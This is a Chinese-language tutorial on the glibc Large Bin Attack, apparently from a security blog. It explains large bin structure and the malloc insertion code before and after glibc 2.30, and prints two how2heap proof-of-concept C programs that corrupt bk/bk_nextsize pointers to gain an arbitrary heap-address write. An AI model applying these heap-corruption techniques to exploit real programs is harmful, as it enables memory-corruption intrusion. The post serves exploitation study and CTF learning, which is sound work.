LargeBinAttack高低版本的利用

LargeBinAttack

概述

Large bin attack 自然是作用于 Large bin的,该攻击手段适用于目前所有版本的libc(高低版本略有不同)。glibc 2.30是一个分水岭,这个攻击比Unsorted Bin Attack 更为强大,它能实现将一个堆的头地址写入一个任意地址。

Large Bin 基础

基础概念

large bin是一种堆分配的管理机制,是双向链表,用于管理大于某个特定大小阈值的内存块。一般而言,进入large bin的最低字节为0x200(512),但是由于引入了tcache,使得在tcache尚未填满之前的情况下,进入large bin的最低字节为0x410(不含chunk头),所以一般我们设置大堆块都是0x410起步的。

结构

large bin中含有63个链表,而large bins **总体又被分成了6个组,**每个组对应一个区间,且容纳的堆块数量指数型减少,示意图如下

image-20250603031236297

说完组成部分,我们来看链表结构

image-20250603033425604

  1. 在large_bin中的排列顺序是从大到小的顺序,所以越大的chunk越靠前,越小的chunk越靠后,最小的chunk指向main_arena+一定偏移。也就是说,非尾部的fd_nextsize指向的是更小的chunk,非头部的bk_nextsize指向的是更大的chunk

  2. 在相同大小的情况下,按照free的时间进行排序

  3. 只有首堆块的fd_nextsize,bk_nextsize会指向其它大小的堆块,而其后的堆块中fd_nextsize,bk_nextsize无效,通常为0

glibc-2.30之前版本的攻击方式

适用条件

能够**修改释放后的堆的内容,**一般来说是UAF或者堆溢出居多

漏洞点分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// victim是当前即将进入 large bin 的堆块
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk))
{
// 如果victim的size小于当前链表中某chunk的size
// 将victim插入到该chunk之前,维护nextsize链表
victim->fd_nextsize = bck;
victim->bk_nextsize = bck->bk_nextsize;
bck->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
else
{
// 如果victim的size大于等于链表中所有chunk的size
// 将victim插入到链表尾部
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
// 将bck指向fwd->bk,为后续主链表插入做准备
bck = fwd->bk;
// ...existing code...

我们要利用的就是这个else分支,进入这个else分支的具体条件是 victim的size在large bin链表中找不到相等的节点,且比fwd->nextsize小,比 fwd 大时,才会进入该分支**(如果当前的large bin中没有比vitim大的堆块就会把vitim插入链表头)**。

实例分析

这里使用how2heap的源码演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
setbuf(stdout, NULL);

printf("本文件演示了通过large bin攻击将一个大的unsigned long值写入栈中\n");
printf("实际上,large bin攻击通常是为进一步攻击做准备,比如重写libc中的全局变量global_max_fast以进行后续的fastbin攻击\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

printf("首先来看一下我们想要在栈上重写的目标:\n");
printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
printf("现在,我们在堆上分配第一个large chunk,地址为: %p\n", p1 - 2);

printf("并且分配另一个fastbin块,以避免在free()时下一个large chunk与第一个large chunk合并\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
printf("然后,我们在堆上分配第二个large chunk,地址为: %p\n", p2 - 2);

printf("并且分配另一个fastbin块,以避免在free()时下一个large chunk与第二个large chunk合并\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
printf("最后,我们在堆上分配第三个large chunk,地址为: %p\n", p3 - 2);

printf("并且分配另一个fastbin块,以避免在free()时top chunk与第三个large chunk合并\n\n");
malloc(0x20);

free(p1);
free(p2);
printf("现在我们释放第一个和第二个large chunk,它们将被插入到unsorted bin中:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
printf("现在,我们分配一个比已释放的第一个large chunk更小的块。这会将已释放的第二个large chunk移入large bin freelist,"
"使用已释放的第一个large chunk的一部分进行分配,并将剩余部分重新插入unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
printf("现在,我们释放第三个large chunk,它将被插入到unsorted bin中:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------
// 现在模拟一个漏洞,可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针
printf("现在模拟一个漏洞,可以覆盖已释放的第二个large chunk的“size”以及它的“bk”和“bk_nextsize”指针\n");
printf("基本思路是减小已释放的第二个large chunk的size,强制malloc将已释放的第三个large chunk插入large bin freelist的头部。"
"为了覆盖栈变量,我们将“bk”设置为stack_var1之前16字节,将“bk_nextsize”设置为stack_var2之前32字节\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);// bk
p2[3] = (unsigned long)(&stack_var2 - 4);// bk_nextsize

//------------------------------------

malloc(0x90);

printf("我们再malloc一次,这样已释放的第三个large chunk会被插入large bin freelist。"
"此时目标变量应该已经被重写:\n");

printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

// 完整性检查
assert(stack_var1 != 0);
assert(stack_var2 != 0);

return 0;
}

输出和注释我已经替换成中文了,很好理解

我们直接看最关键的一步,在更改 p2 的信息前下断点,看一看此时的堆布局

这个时候的 p2 是这个样子的

image-20250603041604931

更改之后,我们来看一看

image-20250603041906007

最后再次malloc的时候,就把 p3 链入链表 ,这个时候就有

fwd -> bk -> fd = p3

fwd -> bk_nextszie -> fd_nextsize = p3

所以 **0x7fffffffe390 + 0x10 = 7fffffffe3a0 **的地址和 **7fffffffe388 + 0x20 = 7fffffffe3a8 **的地址会出现p3的地址

image-20250603042322726

至此,我们就完成了这一攻击

glibc-2.30之后版本的攻击方式

glibc2.30之后,对Largebin的插入新增了一个检测

1
2
3
4
5
6
7
8
9
10
11
12
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

在 glibc2.30中,新增了对双向链表完整性的检查,但是通过阅读源码,我们能够发现以下代码

1
2
3
4
5
6
7
8
9
assert (chunk_main_arena (bck->bk));//断言bck->bk属于main_arena
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck; //这里的fwd可以粗略的认为是large_bin归属的main_arena
bck = bck->bk; //bck成了main_arena的bk指针指向的堆块(当前链表中最小的那个堆块)
victim->fd_nextsize = fwd->fd; //我们申请的小堆块的fd_nextsize指向了main_arena的fd指针,也就是所在的large_bin的最大的堆块
victim->bk_nextsize = fwd->fd->bk_nextsize;//攻击点,没有检测,所以我们可以伪造大堆块的bk_nextsize
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; //先进行右值运算,如果在没有进行修改的情况下,等式可以化简为fwd->fd->bk_nextsize = victim,也就是最大堆块的bk_nextsize指向我们的最小堆块victim
}

这段代码是当插入的堆块 < 当前链表最小的堆块的时候执行的逻辑,我们可以看到,这一步没有对 next_size双向链表合法性的检测,因此我们可以修改bk_nextsize,再次实现向目标地址写入一个堆地址。

实例分析

我们还是用 how2heap的源码进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

/*

A revisit to large bin attack for after glibc2.30

Relevant code snippet :

if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}


*/

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
/*Disable IO buffering to prevent stream from interfering with heap*/
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

// 原始输出保留不变
printf("\n\n");
printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n");
printf("Check 1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("Check 2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("This prevents the traditional large bin attack\n");
printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n");

printf("====================================================================\n\n");

size_t target = 0; // 目标覆盖地址
printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target);

// 分配第一个large chunk并设置保护块
size_t *p1 = malloc(0x428); // 分配0x428大小的块(属于large bin)
printf("First, we allocate a large chunk [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18); // 小块保护防止合并
printf("And another chunk to prevent consolidate\n");

// 分配第二个较小的large chunk并设置保护块
size_t *p2 = malloc(0x418); // 分配0x418大小的块(比p1小但同属large bin)
printf("We also allocate a second large chunk [p2] (%p).\n",p2-2);
printf("This chunk should be smaller than [p1] and belong to the same large bin.\n");
size_t *g2 = malloc(0x18); // 小块保护防止合并
printf("Once again, allocate a guard chunk to prevent consolidate\n");

// 释放顺序和large bin插入触发
free(p1); // 先释放较大的块
printf("Free the larger of the two --> [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438); // 分配更大的块触发p1插入large bin
printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");

// 释放较小块并进入unsorted bin
free(p2); // 释放较小的块
printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf("and one chunk in unsorted bin [p2] (%p)\n",p2-2);

// 关键的漏洞利用点 - 修改bk_nextsize指针
p1[3] = (size_t)((&target)-4); // 伪造large bin链表指针
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

// 触发第二次large bin插入并完成地址覆盖
size_t *g4 = malloc(0x438); // 分配大于p2的块触发插入
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

// 验证漏洞利用结果
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target); // 验证地址是否成功覆盖

return 0;
}

我们在70行下断点,查看堆信息

image-20250623021312317

然后,修改p1的bk_nextsize为target_addr - 0x20,再次查看堆块信息

image-20250623021530569

然后申请一个大于p2的堆块,使得p2被链入 largebin,触发 LargeBinAttack 这个时候再来查看堆块的信息,和target的情况。

image-20250623022430152

此时成功将p2的地址写入了 target , 完成了LargeBinAttack

总结

低版本的LargeBinAttack 主要就是没有双向链表合法性的检查。因此,我们可以伪造较小堆块的bk和bk_nextsize,然后大堆块在经过malloc后放进large_bins里,就能通过修改fd和bk的方式完成了任意地址写。之后可以结合其它House of 系列进行攻击

版本来到2.30以后,由于引入了新的检测机制,就只能改最小堆块的bk_nextsize,然后插入更小的堆块来触发攻击。